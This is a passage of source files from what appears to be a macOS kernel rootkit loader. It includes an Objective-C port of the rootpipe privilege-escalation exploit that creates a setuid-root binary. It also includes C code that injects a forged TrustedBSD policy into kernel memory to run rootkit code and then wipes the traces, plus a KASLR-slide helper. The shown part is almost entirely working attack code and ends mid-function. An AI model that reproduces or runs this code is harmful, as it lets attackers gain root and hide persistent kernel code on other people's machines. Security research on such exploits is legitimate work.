'`'-..__) | ( OO)| \ /`.\ ' .-(OO )| \ | | ( OO).-. '/ _ / |'--...__)| ( OO) | .--./ 6 | * | | ' | | | )'-'|_.' || | .-, \| . '| |)( _) | | |\_..`--. `--. .--'| | ) /_) (`-') 7 | * | | / :(| |_/(| .-. || | '.(_/| |\ | \| |)| |.-._) \ | | (| |_/ || |OO ) 8 | * | '-' / | |'->| | | || '-' | | | \ | ' '-' '\ / | | | |'->(_' '--'\ 9 | * `------' `--' `--' `--' `-----' `--' `--' `-----' `-----' `--' `--' `-----' 10 | * (`-').->(`-') _ (`-') (`-') _ (`-') _ 11 | * ( OO)_ ( OO).-/<-.(OO ) _(OO ) (_) _ ( OO).-/ 12 | * (_)--\_)(,------.,------,),--.(_/,-.\ ,-(`-') \-,-----.(,------. 13 | * / _ / | .---'| /`. '\ \ / (_/ | ( OO) | .--./ | .---' 14 | * \_..`--.(| '--. | |_.' | \ / / | | ) /_) (`-')(| '--. 15 | * .-._) \| .--' | . .'_ \ /_)(| |_/ || |OO ) | .--' 16 | * \ /| `---.| |\ \ \-'\ / | |'->(_' '--'\ | `---. 17 | * `-----' `------'`--' '--' `-' `--' `-----' `------' 18 | * 19 | * A kernel rootkit loader based on processor_set_tasks() vulnerability 20 | * 21 | * Copyright (c) fG!, 2014, 2015. All rights reserved. 22 | * reverser@put.as - https://reverse.put.as 23 | * 24 | * rootpipe_exploit.m 25 | * 26 | * This is Emil Kvarnhammar rootpipe exploit converted to Objective-C 27 | * (https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/) 28 | * 29 | * Don't blame my ugly hack, I hate Objective-C :X 30 | * 31 | * WARNING: This code is only for Mavericks, you can port for other versions yourself :P 32 | * 33 | * Redistribution and use in source and binary forms, with or without 34 | * modification, are permitted provided that the following conditions 35 | * are met: 36 | * 1. Redistributions of source code must retain the above copyright 37 | * notice, this list of conditions and the following disclaimer. 38 | * 2. Redistributions in binary form must reproduce the above copyright 39 | * notice, this list of conditions and the following disclaimer in the 40 | * documentation and/or other materials provided with the distribution. 41 | * 3. The name of the author may not be used to endorse or promote products 42 | * derived from this software without specific prior written permission. 43 | * 44 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 45 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 46 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 47 | * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, 48 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 49 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 50 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 51 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 52 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 53 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 54 | * 55 | */ 56 | 57 | #import 58 | #import 59 | #include "rootpipe_exploit.h" 60 | 61 | /* 62 | * this is a crap converstion to Objective-C from rootpipe Python Proof of Concept exploit 63 | * not exactly pretty but it works 64 | * sorry, I hate Objective-C and I suck at it :P 65 | * 66 | * creates a suid copy of the original binary as /tmp/suid_diagnostic_service 67 | * 68 | * Mavericks only, other versions is just a matter of porting remaining code 69 | */ 70 | int 71 | get_me_rootpipe(const char *sourceFile) 72 | { 73 | Class hackClass = (Class)objc_lookUpClass("WriteConfigClient"); 74 | if (hackClass != nil) 75 | { 76 | if ([hackClass respondsToSelector:@selector(sharedClient)]) 77 | { 78 | id sharedClient = [hackClass performSelector:@selector(sharedClient)]; 79 | if (sharedClient != nil) 80 | { 81 | [sharedClient performSelector:@selector(authenticateUsingAuthorizationSync:) withObject:nil]; 82 | id tool = [sharedClient performSelector:@selector(remoteProxy)]; 83 | 84 | NSMutableDictionary *attr = [NSMutableDictionary new]; 85 | [attr setValue:[NSNumber numberWithShort:04777] 86 | forKey:NSFilePosixPermissions]; 87 | NSData *file = [[NSData alloc] initWithContentsOfFile:[NSString stringWithUTF8String:sourceFile]]; 88 | /* use NSInvocation because we have more than 2 parameters for the selector */ 89 | SEL mySelector = NSSelectorFromString(@"createFileWithContents:path:attributes:"); 90 | NSInvocation *inv = [NSInvocation invocationWithMethodSignature:[tool methodSignatureForSelector:mySelector]]; 91 | [inv setSelector:mySelector]; 92 | [inv setTarget:tool]; /* the target where we want to invoke the method */ 93 | [inv setArgument:&file atIndex:2]; 94 | /* hardcoded value */ 95 | NSString *targetFile = @"/tmp/suid_diagnostic_service"; 96 | [inv setArgument:&targetFile atIndex:3]; 97 | [inv setArgument:&attr atIndex:4]; 98 | /* rootpipe everything! Thank you Apple once again :-) */ 99 | [inv invoke]; 100 | } 101 | } 102 | } 103 | return 0; 104 | } 105 | -------------------------------------------------------------------------------- /diagnostic_service/structures.h: -------------------------------------------------------------------------------- 1 | /* 2 | * _(`-') _ (`-') _ <-. (`-')_ (`-').->(`-') _ 3 | * ( (OO ).-> (_) (OO ).-/ .-> \( OO) ) .-> ( OO)_ ( OO).-> (_) _ 4 | * \ .'_ ,-(`-')/ ,---. ,---(`-'),--./ ,--/ (`-')----. (_)--\_) / '._ ,-(`-') \-,-----. 5 | * '`'-..__) | ( OO)| \ /`.\ ' .-(OO )| \ | | ( OO).-. '/ _ / |'--...__)| ( OO) | .--./ 6 | * | | ' | | | )'-'|_.' || | .-, \| . '| |)( _) | | |\_..`--. `--. .--'| | ) /_) (`-') 7 | * | | / :(| |_/(| .-. || | '.(_/| |\ | \| |)| |.-._) \ | | (| |_/ || |OO ) 8 | * | '-' / | |'->| | | || '-' | | | \ | ' '-' '\ / | | | |'->(_' '--'\ 9 | * `------' `--' `--' `--' `-----' `--' `--' `-----' `-----' `--' `--' `-----' 10 | * (`-').->(`-') _ (`-') (`-') _ (`-') _ 11 | * ( OO)_ ( OO).-/<-.(OO ) _(OO ) (_) _ ( OO).-/ 12 | * (_)--\_)(,------.,------,),--.(_/,-.\ ,-(`-') \-,-----.(,------. 13 | * / _ / | .---'| /`. '\ \ / (_/ | ( OO) | .--./ | .---' 14 | * \_..`--.(| '--. | |_.' | \ / / | | ) /_) (`-')(| '--. 15 | * .-._) \| .--' | . .'_ \ /_)(| |_/ || |OO ) | .--' 16 | * \ /| `---.| |\ \ \-'\ / | |'->(_' '--'\ | `---. 17 | * `-----' `------'`--' '--' `-' `--' `-----' `------' 18 | * 19 | * A kernel rootkit loader based on processor_set_tasks() vulnerability 20 | * 21 | * Copyright (c) fG!, 2014, 2015. All rights reserved. 22 | * reverser@put.as - https://reverse.put.as 23 | * 24 | * structures.h 25 | * All kind of shared structures 26 | * 27 | * Redistribution and use in source and binary forms, with or without 28 | * modification, are permitted provided that the following conditions 29 | * are met: 30 | * 1. Redistributions of source code must retain the above copyright 31 | * notice, this list of conditions and the following disclaimer. 32 | * 2. Redistributions in binary form must reproduce the above copyright 33 | * notice, this list of conditions and the following disclaimer in the 34 | * documentation and/or other materials provided with the distribution. 35 | * 3. The name of the author may not be used to endorse or promote products 36 | * derived from this software without specific prior written permission. 37 | * 38 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 39 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 40 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 41 | * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, 42 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 43 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 44 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 45 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 46 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 47 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 48 | * 49 | */ 50 | 51 | #ifndef diagnostic_service_structures_h 52 | #define diagnostic_service_structures_h 53 | 54 | #include 55 | #include 56 | #include 57 | #include 58 | 59 | struct kernel_info 60 | { 61 | uint64_t linkedit_fileoff; 62 | uint64_t linkedit_size; 63 | uint32_t symboltable_fileoff; 64 | uint32_t symboltable_nr_symbols; 65 | uint32_t stringtable_fileoff; 66 | uint32_t stringtable_size; 67 | const uint8_t *linkedit_buf; // pointer to __LINKEDIT area in kernel mapped buffer 68 | uint64_t kaslr_slide; 69 | }; 70 | 71 | #endif 72 | -------------------------------------------------------------------------------- /diagnostic_service/trustedbsd.c: -------------------------------------------------------------------------------- 1 | /* 2 | * _(`-') _ (`-') _ <-. (`-')_ (`-').->(`-') _ 3 | * ( (OO ).-> (_) (OO ).-/ .-> \( OO) ) .-> ( OO)_ ( OO).-> (_) _ 4 | * \ .'_ ,-(`-')/ ,---. ,---(`-'),--./ ,--/ (`-')----. (_)--\_) / '._ ,-(`-') \-,-----. 5 | * '`'-..__) | ( OO)| \ /`.\ ' .-(OO )| \ | | ( OO).-. '/ _ / |'--...__)| ( OO) | .--./ 6 | * | | ' | | | )'-'|_.' || | .-, \| . '| |)( _) | | |\_..`--. `--. .--'| | ) /_) (`-') 7 | * | | / :(| |_/(| .-. || | '.(_/| |\ | \| |)| |.-._) \ | | (| |_/ || |OO ) 8 | * | '-' / | |'->| | | || '-' | | | \ | ' '-' '\ / | | | |'->(_' '--'\ 9 | * `------' `--' `--' `--' `-----' `--' `--' `-----' `-----' `--' `--' `-----' 10 | * (`-').->(`-') _ (`-') (`-') _ (`-') _ 11 | * ( OO)_ ( OO).-/<-.(OO ) _(OO ) (_) _ ( OO).-/ 12 | * (_)--\_)(,------.,------,),--.(_/,-.\ ,-(`-') \-,-----.(,------. 13 | * / _ / | .---'| /`. '\ \ / (_/ | ( OO) | .--./ | .---' 14 | * \_..`--.(| '--. | |_.' | \ / / | | ) /_) (`-')(| '--. 15 | * .-._) \| .--' | . .'_ \ /_)(| |_/ || |OO ) | .--' 16 | * \ /| `---.| |\ \ \-'\ / | |'->(_' '--'\ | `---. 17 | * `-----' `------'`--' '--' `-' `--' `-----' `------' 18 | * 19 | * A kernel rootkit loader based on processor_set_tasks() vulnerability 20 | * 21 | * Copyright (c) fG!, 2014, 2015. All rights reserved. 22 | * reverser@put.as - https://reverse.put.as 23 | * 24 | * trustedbsd.c 25 | * Functions related to leveraging TrustedBSD to initiate kernel code execution 26 | * 27 | * Redistribution and use in source and binary forms, with or without 28 | * modification, are permitted provided that the following conditions 29 | * are met: 30 | * 1. Redistributions of source code must retain the above copyright 31 | * notice, this list of conditions and the following disclaimer. 32 | * 2. Redistributions in binary form must reproduce the above copyright 33 | * notice, this list of conditions and the following disclaimer in the 34 | * documentation and/or other materials provided with the distribution. 35 | * 3. The name of the author may not be used to endorse or promote products 36 | * derived from this software without specific prior written permission. 37 | * 38 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 39 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 40 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 41 | * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, 42 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 43 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 44 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 45 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 46 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 47 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 48 | * 49 | */ 50 | 51 | #include "trustedbsd.h" 52 | 53 | #include 54 | #include 55 | #include 56 | #include 57 | #include 58 | #include 59 | #include 60 | #include 61 | #include 62 | #include 63 | #include 64 | #include 65 | #include 66 | #include 67 | #include 68 | 69 | #include "mac_policy.h" 70 | #include "utils.h" 71 | #include "logging.h" 72 | #include "rootkit.h" 73 | #include "kernel_symbols.h" 74 | #include "kernel_code_exec.h" 75 | 76 | /* NOTE: these structures are internal to TrustedBSD and not exposed in public includes */ 77 | /* they are stable since the initial implementation but we still have some risk in defining them here */ 78 | /* alternative solution is to find reference to entries array and get its offset */ 79 | /* since struct mac_policy_conf is public */ 80 | 81 | #define mpc_t struct mac_policy_conf * 82 | 83 | struct mac_policy_list_element { 84 | struct mac_policy_conf *mpc; 85 | }; 86 | 87 | struct mac_policy_list { 88 | u_int numloaded; 89 | u_int max; 90 | u_int maxindex; 91 | u_int staticmax; 92 | u_int chunks; 93 | u_int freehint; 94 | struct mac_policy_list_element *entries; 95 | }; 96 | 97 | typedef struct mac_policy_list mac_policy_list_t; 98 | 99 | kern_return_t 100 | install_trustedbsd_policy(mach_port_t kernel_port, struct kernel_info *kinfo, mach_vm_address_t entrypoint_addr) 101 | { 102 | OUTPUT_MSG("\n-----[ Installing TrustedBSD policy ]-----"); 103 | kern_return_t kr = 0; 104 | 105 | /* retrieve location and contents of mac_policy_list */ 106 | /* this is TrustedBSD core structure */ 107 | mach_vm_address_t mac_policy_list_addr = solve_kernel_symbol(kinfo, "_mac_policy_list"); 108 | 109 | struct mac_policy_list policy_list = {0}; 110 | if (readkmem(kernel_port, (void*)&policy_list, mac_policy_list_addr, sizeof(struct mac_policy_list)) != KERN_SUCCESS) 111 | { 112 | ERROR_MSG("Failed to read mac policy list."); 113 | return KERN_FAILURE; 114 | } 115 | 116 | DEBUG_MSG("Number of active TrustedBSD policies: %d", policy_list.numloaded); 117 | DEBUG_MSG("Entries array address: 0x%llx", (mach_vm_address_t)policy_list.entries); 118 | 119 | /* allocate and write a mac_policy_ops structure 120 | * this structure holds the function pointers for the TrustedBSD hooks 121 | * allows us to execute kernel code when the TrustedBSD hook is called 122 | */ 123 | /* for example, use the task_for_pid() hook to execute our entry function */ 124 | /* in this case the address is from the parameter exec_addr */ 125 | DEBUG_MSG("Configuring mac_policy_ops with rootkit entrypoint to address 0x%llx", entrypoint_addr); 126 | struct mac_policy_ops policy_ops = {0}; 127 | policy_ops.mpo_proc_check_get_task = (mpo_proc_check_get_task_t*)(entrypoint_addr); 128 | 129 | mach_vm_address_t ops_kernel_addr = 0; 130 | kr = alloc_and_write_data_kmem(kernel_port, (void*)&policy_ops, sizeof(struct mac_policy_ops), &ops_kernel_addr); 131 | if (kr != KERN_SUCCESS) 132 | { 133 | ERROR_MSG("Failed to allocate and write a new mac_policy_ops"); 134 | return KERN_FAILURE; 135 | } 136 | DEBUG_MSG("Allocated new mac_policy_ops at address 0x%llx", ops_kernel_addr); 137 | 138 | /* this is the core structure for a new policy */ 139 | /* configures things like policy name and options, and points to the mac_policy_ops structure 140 | * that contains all the function pointers on TrustedBSD hooks we are interested in 141 | */ 142 | struct mac_policy_conf policy_conf = 143 | { 144 | .mpc_name = NULL, /* we can leave this empty and avoid allocating space for names */ 145 | .mpc_fullname = NULL, /* there is a check for NULL but only when installing a legit TrustedBSD policy */ 146 | .mpc_labelnames = NULL, /* since we are bypassing mac_policy_register() there's no problem */ 147 | .mpc_labelname_count = 0, 148 | .mpc_ops = (struct mac_policy_ops*)ops_kernel_addr, 149 | .mpc_loadtime_flags = 0, 150 | .mpc_field_off = NULL, 151 | .mpc_runtime_flags = 0 152 | }; 153 | 154 | mach_vm_address_t conf_kernel_addr = 0; 155 | kr = alloc_and_write_data_kmem(kernel_port, (void*)&policy_conf, sizeof(struct mac_policy_conf), &conf_kernel_addr); 156 | if (kr != 0) 157 | { 158 | ERROR_MSG("Failed to allocate memory for mac_policy_conf."); 159 | return KERN_FAILURE; 160 | } 161 | DEBUG_MSG("Allocated new mac_policy_conf at 0x%llx", conf_kernel_addr); 162 | 163 | /* 164 | * at this point we already have the necessary structures and data in kernel memory 165 | * what's left is to active the policy by changing the global mac_policy_list structure fields 166 | * three things need to be done: 167 | * - increase maxindex 168 | * - increase numloaded 169 | * - point the entry in entries array to our new policy_conf 170 | */ 171 | 172 | /* the position of our new entry */ 173 | mach_vm_address_t new_entry_addr = (mach_vm_address_t)policy_list.entries + sizeof(intptr_t) * policy_list.numloaded; 174 | /* there's a NULL pointer check against entries in this array but let's write it first anyway */ 175 | kr = mach_vm_write(kernel_port, new_entry_addr, (vm_offset_t)&conf_kernel_addr, sizeof(uint64_t)); 176 | if (kr != KERN_SUCCESS) 177 | { 178 | ERROR_MSG("Failed to activate our TrustedBSD policy entry"); 179 | return KERN_FAILURE; 180 | } 181 | DEBUG_MSG("Wrote rootkit TrustedBSD policy entry at address 0x%llx.", new_entry_addr); 182 | 183 | /* last step that finally activates the policy is to increase the numloaded and maxindex */ 184 | 185 | /* activate policy by increasing maxindex */ 186 | size_t maxindex_offset = offsetof(mac_policy_list_t, maxindex); 187 | vm_offset_t new_maxindex = policy_list.maxindex + 1; 188 | mach_msg_type_number_t maxindex_size = sizeof(u_int); 189 | 190 | kr = mach_vm_write(kernel_port, mac_policy_list_addr + maxindex_offset, (vm_offset_t)&new_maxindex, maxindex_size); 191 | if (kr != KERN_SUCCESS) 192 | { 193 | ERROR_MSG("Failed to update mac_policy_list maxindex field"); 194 | return KERN_FAILURE; 195 | } 196 | 197 | size_t numloaded_offset = offsetof(mac_policy_list_t, numloaded); 198 | vm_offset_t new_numloaded = policy_list.numloaded + 1; 199 | mach_msg_type_number_t numloaded_size = sizeof(u_int); 200 | 201 | kr = mach_vm_write(kernel_port, mac_policy_list_addr + numloaded_offset, (vm_offset_t)&new_numloaded, numloaded_size); 202 | if (kr != KERN_SUCCESS) 203 | { 204 | ERROR_MSG("Failed to update mac_policy_list numloaded field"); 205 | return KERN_FAILURE; 206 | } 207 | 208 | /* at this point we have everything installed so we just need to call the function that will call our hook */ 209 | 210 | OUTPUT_MSG("\n-----[ Rootkit kernel execution is now possible, executing task_for_pid() to start the rootkit! ]-----"); 211 | /* execute task_for_pid() against PID 1 (launchd) which is assured to always exist */ 212 | mach_port_t execution_port = 0; 213 | if (task_for_pid(mach_task_self(), 1, &execution_port) == KERN_SUCCESS) 214 | { 215 | OUTPUT_MSG("\n-----[ Rootkit executed successfully, cleaning up our TrustedBSD traces ]-----"); 216 | /* we just executed policy so disable it to not execute again */ 217 | new_maxindex = policy_list.maxindex; 218 | kr = mach_vm_write(kernel_port, mac_policy_list_addr + maxindex_offset, (vm_offset_t)&new_maxindex, maxindex_size); 219 | if (kr != KERN_SUCCESS) 220 | { 221 | ERROR_MSG("Failed to update mac_policy_list maxindex field"); 222 | return KERN_FAILURE; 223 | } 224 | new_numloaded = policy_list.numloaded; 225 | kr = mach_vm_write(kernel_port, mac_policy_list_addr + numloaded_offset, (vm_offset_t)&new_numloaded, numloaded_size); 226 | if (kr != KERN_SUCCESS) 227 | { 228 | ERROR_MSG("Failed to update mac_policy_list numloaded field"); 229 | return KERN_FAILURE; 230 | } 231 | /* clean up all our traces in the TrustedBSD data structures */ 232 | if (zero_and_dealloc_kmem(kernel_port, conf_kernel_addr, sizeof(struct mac_policy_conf)) != KERN_SUCCESS) 233 | { 234 | return KERN_FAILURE; 235 | } 236 | if (zero_and_dealloc_kmem(kernel_port, ops_kernel_addr, sizeof(struct mac_policy_ops)) != KERN_SUCCESS) 237 | { 238 | return KERN_FAILURE; 239 | } 240 | uint64_t zero = 0; 241 | if (mach_vm_write(kernel_port, new_entry_addr, (vm_offset_t)&zero, sizeof(uint64_t)) != KERN_SUCCESS) 242 | { 243 | ERROR_MSG("Failed to cleanup entry arrary."); 244 | return KERN_FAILURE; 245 | } 246 | } 247 | 248 | /* all done, rootkit is loaded and already took control */ 249 | OUTPUT_MSG("\n-----[ All done, enjoy your kernel code ;-) ]-----\n"); 250 | return KERN_SUCCESS; 251 | } 252 | -------------------------------------------------------------------------------- /diagnostic_service/trustedbsd.h: -------------------------------------------------------------------------------- 1 | /* 2 | * _(`-') _ (`-') _ <-. (`-')_ (`-').->(`-') _ 3 | * ( (OO ).-> (_) (OO ).-/ .-> \( OO) ) .-> ( OO)_ ( OO).-> (_) _ 4 | * \ .'_ ,-(`-')/ ,---. ,---(`-'),--./ ,--/ (`-')----. (_)--\_) / '._ ,-(`-') \-,-----. 5 | * '`'-..__) | ( OO)| \ /`.\ ' .-(OO )| \ | | ( OO).-. '/ _ / |'--...__)| ( OO) | .--./ 6 | * | | ' | | | )'-'|_.' || | .-, \| . '| |)( _) | | |\_..`--. `--. .--'| | ) /_) (`-') 7 | * | | / :(| |_/(| .-. || | '.(_/| |\ | \| |)| |.-._) \ | | (| |_/ || |OO ) 8 | * | '-' / | |'->| | | || '-' | | | \ | ' '-' '\ / | | | |'->(_' '--'\ 9 | * `------' `--' `--' `--' `-----' `--' `--' `-----' `-----' `--' `--' `-----' 10 | * (`-').->(`-') _ (`-') (`-') _ (`-') _ 11 | * ( OO)_ ( OO).-/<-.(OO ) _(OO ) (_) _ ( OO).-/ 12 | * (_)--\_)(,------.,------,),--.(_/,-.\ ,-(`-') \-,-----.(,------. 13 | * / _ / | .---'| /`. '\ \ / (_/ | ( OO) | .--./ | .---' 14 | * \_..`--.(| '--. | |_.' | \ / / | | ) /_) (`-')(| '--. 15 | * .-._) \| .--' | . .'_ \ /_)(| |_/ || |OO ) | .--' 16 | * \ /| `---.| |\ \ \-'\ / | |'->(_' '--'\ | `---. 17 | * `-----' `------'`--' '--' `-' `--' `-----' `------' 18 | * 19 | * A kernel rootkit loader based on processor_set_tasks() vulnerability 20 | * 21 | * Copyright (c) fG!, 2014, 2015. All rights reserved. 22 | * reverser@put.as - https://reverse.put.as 23 | * 24 | * trustedbsd.h 25 | * Functions related to leveraging TrustedBSD to initiate kernel code execution 26 | * 27 | * Redistribution and use in source and binary forms, with or without 28 | * modification, are permitted provided that the following conditions 29 | * are met: 30 | * 1. Redistributions of source code must retain the above copyright 31 | * notice, this list of conditions and the following disclaimer. 32 | * 2. Redistributions in binary form must reproduce the above copyright 33 | * notice, this list of conditions and the following disclaimer in the 34 | * documentation and/or other materials provided with the distribution. 35 | * 3. The name of the author may not be used to endorse or promote products 36 | * derived from this software without specific prior written permission. 37 | * 38 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 39 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 40 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 41 | * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, 42 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 43 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 44 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 45 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 46 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 47 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 48 | * 49 | */ 50 | 51 | #ifndef diagnostic_service_trustedbsd_h 52 | #define diagnostic_service_trustedbsd_h 53 | 54 | #include 55 | #include 56 | #include "structures.h" 57 | 58 | int install_trustedbsd_policy(mach_port_t kernel_port, struct kernel_info *kinfo, mach_vm_address_t entrypoint_addr); 59 | 60 | #endif 61 | -------------------------------------------------------------------------------- /diagnostic_service/utils.c: -------------------------------------------------------------------------------- 1 | /* 2 | * _(`-') _ (`-') _ <-. (`-')_ (`-').->(`-') _ 3 | * ( (OO ).-> (_) (OO ).-/ .-> \( OO) ) .-> ( OO)_ ( OO).-> (_) _ 4 | * \ .'_ ,-(`-')/ ,---. ,---(`-'),--./ ,--/ (`-')----. (_)--\_) / '._ ,-(`-') \-,-----. 5 | * '`'-..__) | ( OO)| \ /`.\ ' .-(OO )| \ | | ( OO).-. '/ _ / |'--...__)| ( OO) | .--./ 6 | * | | ' | | | )'-'|_.' || | .-, \| . '| |)( _) | | |\_..`--. `--. .--'| | ) /_) (`-') 7 | * | | / :(| |_/(| .-. || | '.(_/| |\ | \| |)| |.-._) \ | | (| |_/ || |OO ) 8 | * | '-' / | |'->| | | || '-' | | | \ | ' '-' '\ / | | | |'->(_' '--'\ 9 | * `------' `--' `--' `--' `-----' `--' `--' `-----' `-----' `--' `--' `-----' 10 | * (`-').->(`-') _ (`-') (`-') _ (`-') _ 11 | * ( OO)_ ( OO).-/<-.(OO ) _(OO ) (_) _ ( OO).-/ 12 | * (_)--\_)(,------.,------,),--.(_/,-.\ ,-(`-') \-,-----.(,------. 13 | * / _ / | .---'| /`. '\ \ / (_/ | ( OO) | .--./ | .---' 14 | * \_..`--.(| '--. | |_.' | \ / / | | ) /_) (`-')(| '--. 15 | * .-._) \| .--' | . .'_ \ /_)(| |_/ || |OO ) | .--' 16 | * \ /| `---.| |\ \ \-'\ / | |'->(_' '--'\ | `---. 17 | * `-----' `------'`--' '--' `-' `--' `-----' `------' 18 | * 19 | * A kernel rootkit loader based on processor_set_tasks() vulnerability 20 | * 21 | * Copyright (c) fG!, 2014, 2015. All rights reserved. 22 | * reverser@put.as - https://reverse.put.as 23 | * 24 | * utils.c 25 | * All kind of auxiliary functions 26 | * 27 | * Redistribution and use in source and binary forms, with or without 28 | * modification, are permitted provided that the following conditions 29 | * are met: 30 | * 1. Redistributions of source code must retain the above copyright 31 | * notice, this list of conditions and the following disclaimer. 32 | * 2. Redistributions in binary form must reproduce the above copyright 33 | * notice, this list of conditions and the following disclaimer in the 34 | * documentation and/or other materials provided with the distribution. 35 | * 3. The name of the author may not be used to endorse or promote products 36 | * derived from this software without specific prior written permission. 37 | * 38 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 39 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 40 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 41 | * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, 42 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 43 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 44 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 45 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 46 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 47 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 48 | * 49 | */ 50 | 51 | #include "utils.h" 52 | 53 | #include 54 | #include 55 | #include 56 | #include 57 | #include 58 | #include 59 | #include 60 | #include 61 | #include 62 | #include 63 | 64 | #include "logging.h" 65 | 66 | // from xnu/bsd/sys/kas_info.h 67 | #define KAS_INFO_KERNEL_TEXT_SLIDE_SELECTOR (0) /* returns uint64_t */ 68 | #define KAS_INFO_MAX_SELECTOR (1) 69 | 70 | /* 71 | * lame inline asm to use the kas_info() syscall. beware the difference if we want 64bits syscalls! 72 | */ 73 | void 74 | get_kaslr_slide(size_t *size, uint64_t *slide) 75 | { 76 | // this is needed for 64bits syscalls!!! 77 | // good post about it http://thexploit.com/secdev/mac-os-x-64-bit-assembly-system-calls/ 78 | #define SYSCALL_CLASS_SHIFT 24 79 | #define SYSCALL_CLASS_MASK (0xFF << SYSCALL_CLASS_SHIFT) 80 | #define SYSCALL_NUMBER_MASK (~SYSCALL_CLASS_MASK) 81 | #define SYSCALL_CLASS_UNIX 2 82 | #define SYSCALL_CONSTRUCT_UNIX(syscall_number) \ 83 | ((SYSCALL_CLASS_UNIX << SYSCALL_CLASS_SHIFT) | \ 84 | (SYSCALL_NUMBER_MASK & (syscall_number))) 85 | 86 | uint64_t syscallnr = SYSCALL_CONSTRUCT_UNIX(SYS_kas_info); 87 | uint64_t selector = KAS_INFO_KERNEL_TEXT_SLIDE_SELECTOR; 88 | int result = 0; 89 | __asm__ ("movq %1, %%rdi\n\t" 90 | "movq %2, %%rsi\n\t" 91 | "movq %3, %%rdx\n\t" 92 | "movq %4, %%rax\n\t" 93 | "syscall" 94 | : "=a" (result) 95 | : "r" (selector), "m" (slide), "m" (size), "a" (syscallnr) 96 | : "rdi", "rsi", "rdx", "rax" 97 | ); 98 | } 99 | 100 | int 101 | get_kernel_version(void) 102 | { 103 | size_t size = 0; 104 | if ( sysctlbyname("kern.osrelease", NULL, &size, NULL, 0) ) 105 | { 106 | ERROR_MSG("Failed to get kern.osrelease size."); 